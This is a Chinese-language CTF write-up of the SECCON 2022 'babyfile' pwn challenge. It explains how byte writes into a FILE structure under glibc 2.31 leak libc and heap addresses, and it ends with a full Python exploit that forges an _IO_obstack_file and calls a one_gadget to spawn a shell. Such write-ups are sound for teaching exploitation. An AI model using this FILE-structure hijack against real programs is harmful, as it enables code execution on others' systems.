首页 > 其他分享 >secconctf-2022-pwn-babyfile

secconctf-2022-pwn-babyfile

时间:2022-12-07 03:11:06浏览次数:35  
标签:p64 libc secconctf trick prt IO pwn NULL babyfile

secconctf-2022-pwn-babyfile

总结

  • 可以使用_IO_file_doallocate + _IO_file_sync实现缓冲区指针和读写指针初始化

  • 利用_IO_obstack_file结构体攻击时,fp.flag最好是(0xfbad1800 | 0x8000),用别的可能会造成obstack指针出错

  • _IO_obstack_overflow好像也可以实现劫持程序流...真奇怪,源码明明没有啊...

  • 有libc地址任意读,怎么泄露堆地址?

    可以考虑main_arena

  • 随带一提:有libc地址任意读怎么泄露elf地址?

    pwndbg> p &stderr
    $2 = (FILE **) 0x7f1b2348a780 <stderr>
    pwndbg> search -p 0x7f1b2348a780
    Searching for value: b'\x80\xa7H#\x1b\x7f\x00\x00'
    libc-2.31.so    0x7f1b23488db0 0x7f1b2348a780
    
    

    有ld地址呢?

    忘了。。。

  • 利用_IO_obstack_file结构体攻击,我应该封装一下,不然每次写的太浪费时间了

逆向分析

glibc版本

$ ./libc-2.31.so 
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31.
Copyright (C) 2020 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 9.4.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.


GLIBC版本是2.31,对于本题,我们只需要知道有vtable检查就行了

关键函数

  • main函数

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      int v4; // eax
      char off; // [rsp+7h] [rbp-9h]
      FILE *fp; // [rsp+8h] [rbp-8h]
    
      alarm(0x1Eu);
      write(1, "Play with FILE structure\n", 0x19uLL);
      fp = fopen("/dev/null", "r");
      if ( fp )
      {
        fp->__pad2 = 0LL;
        while ( 1 )
        {
          v4 = menu();
          if ( v4 == 2 )
          {
            write(1, "offset: ", 8uLL);
            off = getint();
            if ( off < 0 )
              off |= 0x40u;
            write(1, "value: ", 7uLL);
            *((_BYTE *)&fp->_flags + (unsigned __int8)off) = getint();
          }
          else if ( v4 <= 2 )
          {
            if ( !v4 )
            {
              write(1, "Bye!", 4uLL);
              _exit(0);
            }
            if ( v4 == 1 )
              fflush(fp);
          }
          write(1, "Done.\n", 6uLL);
        }
      }
      write(1, "Open error", 0xAuLL);
      return -1;
    }
    

    可以看到逻辑很简单,打开一个文件,输入1就刷新fp,输入2就往fp的某个可以指定的偏移输入一个字节

总结

  • 我们要利用某个vtable中的函数泄露地址
  • 我们要想好利用什么vtable实现getshell,这里我选择用_IO_obstack_file

漏洞利用

思路

  • 首先考虑如何泄露。

    • 考虑_IO_file_xsputn,原理如下:

      /* The 'xsputn' hook writes upto N characters from buffer DATA.
         Returns EOF or the number of character actually written.
         It matches the streambuf::xsputn virtual function. */
      

      可以得知,它里面有write,但是我们打开的文件是/dev/null,没有输入输出流需要的指针。

      观察一下流程图:

      image-20221115000724128

      要像执行new_do_write,我们必须有一块读写缓冲区,可以使用_IO_file_doallocate来申请

    • 执行完_IO_file_doallocate后,其实我们的读写指针并没有初始化成功,还需要调用_IO_file_sync

      //in the libioP.h
      /* The 'sync' hook attempts to synchronize the internal data structures
         of the file with the external state.
         It matches the streambuf::sync virtual function. */
      

      具体自己看源码!

      实现读写指针初始化

    • 此时修改一下写指针(覆盖两个字节),让它输出vtable就泄露了一个libc地址了

    • 然后就是攻击_IO_obstack_file结构体

过程

  • 申请缓冲区

    trick(0x29,0x01) #writer_prt
    trick(0x70,0x01) #fileno
    to_doall()
    
  • 初始化读写指针

    trick_prt(0,p64(0xfbad1800 | 0x8000))
    to_file_sync()
    
  • 泄露libc和堆地址(16分之一的概率)

    trick(32,0x0)
    trick(40,0xf0)
    flush()
    lb = recv_current_libc_addr(libc.sym._IO_wfile_jumps)
    libc.address = lb
    log_address_ex2(lb)
    
  • 伪造_IO_obstack_file,调用_IO_obstack_xsputn,最后调用one_gadget(真奇怪,好像调用overflow也行,占坑,以后看源码吧!)

#-----------------------------------------------------------------
fxxk_addr = libc.sym._IO_wfile_jumps + 0x300 - 0x28
#p *(struct _IO_obstack_file *)
log_address_ex2(fxxk_addr)
trick_prt(0x18,p64(0xff))
trick_prt(0x20,p64(0))
trick_prt(0x28,p64(8))
trick_prt(0x30,p64(0))
'''
$ one_gadget /usr/lib/x86_64-linux-gnu/libc-2.31.so    
0xe3afe execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL
'''
trick_prt(0x38,p64(lb + 0xe3b01))
trick_prt(0x48,p64(libc.search(b"/bin/sh\x00").__next__()))
trick_prt(0x40,p64(1))

trick_prt(0x68,p64(heap_base + 0x300))
trick_prt(0xd8,p64(fxxk_addr))
trick_prt(0xe0,p64(heap_base + 0x2a0))
flush()

EXP

#!/usr/bin/env python3

'''
Author: 7resp4ss
Date: 2022-11-12 22:04:39
LastEditTime: 2022-12-07 02:44:36
Description: 
'''

from pwncli import *

cli_script()

io = gift["io"]
elf = gift["elf"]
libc = gift.libc

filename  = gift.filename # current filename
is_debug  = gift.debug # is debug or not 
is_remote = gift.remote # is remote or not
gdb_pid   = gift.gdb_pid # gdb pid if debug

if gift.remote:
    libc = ELF("./libc-2.23.so")
    gift["libc"] = libc

def flush():
    sla("> ",str(1))

def trick(off,val):
    sla("> ",str(2))
    sla("offset: ",str(off))
    sla("value: ",str(val))

def trick_prt(off,val):
    cnt = 0
    for i in range(8):
        num = val[cnt]
        sla("> ",str(2))
        sla("offset: ",str(off+cnt))
        sla("value: ",str(num))
        cnt = cnt + 1

def exit():
   sla("> ",str(0))


def to_doall():
    trick(0xd8,0xa8)
    flush()

def to_xspget():
    trick(0xd8,0xb8 - (0x78-0x40))
    flush()
def to_xsput():
    trick(0xd8,0xb8 - (0x78-0x40+0x8))
    flush()

def to_write():
    trick(0xd8,0xb8)
    flush()

def to_seek():
    trick(0xd8,0xc0)
    flush()

def to_setbuf():
    trick(0xd8,0x98)
    flush()

def to_setbuf():
    trick(0xd8,0x98)
    flush()

def to_read():
    trick(0xd8,0xb0)
    flush()


def to_file_sync():
    trick(0xd8,0xa0)
    flush()

s = '''
b _IO_obstack_xsputn
'''

trick(0x29,0x01)
trick(0x70,0x01)
to_doall()


trick_prt(0,p64(0xfbad1800 | 0x8000))
to_file_sync()

#local 
fxxk_bit= ((get_current_heapbase_addr() + 0x2a0)>>8)&0xff
trick(32,0xa0) #0x0 - 0x8
trick(33,fxxk_bit) #0x8 - 0x10
trick(40,0xf0)
flush()

ru(p64(0xfbad9820))
heap_base = u64_ex(rn(8))&~0xfff
rn(0x30)
lb = recv_current_libc_addr(libc.sym._IO_2_1_stderr_)
libc.address = lb
log_address_ex2(lb)
log_address_ex2(heap_base)
#-----------------------------------------------------------------
fxxk_addr = libc.sym._IO_wfile_jumps + 0x300 - 0x28
#p *(struct _IO_obstack_file *)
log_address_ex2(fxxk_addr)
trick_prt(0x18,p64(0xff))
trick_prt(0x20,p64(0))
trick_prt(0x28,p64(8))
trick_prt(0x30,p64(0))
'''
$ one_gadget /usr/lib/x86_64-linux-gnu/libc-2.31.so    
0xe3afe execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL
'''
trick_prt(0x38,p64(lb + 0xe3b01))
trick_prt(0x48,p64(libc.search(b"/bin/sh\x00").__next__()))
trick_prt(0x40,p64(1))

trick_prt(0x68,p64(heap_base + 0x300))
trick_prt(0xd8,p64(fxxk_addr))
trick_prt(0xe0,p64(heap_base + 0x2a0))
flush()
io.interactive()

11月的题目我12月才做。。。只能说最近太忙了(╹ڡ╹ )

标签:p64,libc,secconctf,trick,prt,IO,pwn,NULL,babyfile
From: https://www.cnblogs.com/7resp4ss/p/16961955.html

相关文章

  • NCTF-2022-pwn-ezlink
    NCTF-2022-pwn-ezlink总结利用_IO_obstack_file结构体进行攻击时,最好打_IO_2_1_stdin_利用_IO_obstack_file结构体进行攻击时,栈迁移布置如下:gg1=libc.search(asm......
  • NCTF2022 - pwn 部分 wp
    总的来说我出的几题不是很难,主要是想把自己感觉有意思的一些东西分享给大家。ezlogin程序设计周大作业稍加改编出的题目。洞在Tea里,有个数组越界写,为了避开\x00截断,我给......
  • NUAACTF - PWN - 天衣无缝的登录
    NUAACTF-PWN-天衣无缝的登录我也不知道为什么我写不出来,枯枯...最后发现是我甜蜜的把泄露libc的流程跳了...最可怕的是竟然没看出来想杀了自己[为什么会犯这种低......
  • 强网拟态-2022-pwn-only
    强网拟态-2022-pwn-only总结该题的沙箱我们可以通过execveat绕过,但是注意execveat是个系统调用2.29以后存在一个key(bk)检查,不能直接doublefree可以通过已经申请......
  • pwn | jarvisoj_tell_me_something
    pwn|jarvisoj_tell_me_somethingx64栈溢出ret2text存在后门直接溢出跳过去就行了。唯一有点区别的就是这里面没有pushebp和popebp,所以只需要覆盖0x88就行了exp......
  • pwn | ciscn_2019_es_2
    pwn|ciscn_2019_es_2x86ret2text栈迁移这是我第一次做栈迁移的题目,浅浅记录一下思路关键的利用点在于利用leaveret的组合把esp搬到低地址的地方(也就是我们输入的地......
  • BUUCTF-PWN-前五页简单回顾
    学pwn到现在快三个月了,在BUU上做了前五页共160题,不能把刷过的题的技巧都给忘了,再做一遍还不是得心应手的题,同时堆题很灵活,要多总结才能举一反三。现在写下刚开始学的......
  • DASCTF NOV X联合出题人2022年度积分榜争夺赛PWN复现 部分wp
    签个到​居然是没开NX的,而且还有一个可写可执行的段​静态分析:进入get()我们可以看到循环中如果满足heap[i]+4LL与我们送入内容的前8字符相同,且送入内容+8地址内容......
  • BUUCTF-PWN-第五页writep(32题)
    花了十天把前四页共128题全部再做了一遍,加上一个是因为难度增加了,写得比较慢,另一个是期末周了时间比较少,所以拖了20天才发这篇题解pwnable_asm沙盒逃逸orw题fro......
  • DASCTF NOV X联合出题人-PWN
    太忙了,下午4点才开始做,,剩下的以后补上签个到逻辑很简单两个功能的堆,一个就是申请heap、还有一个是检验如果校验通过就会得到flag申请模块​中间0x886是个很恶心的东西......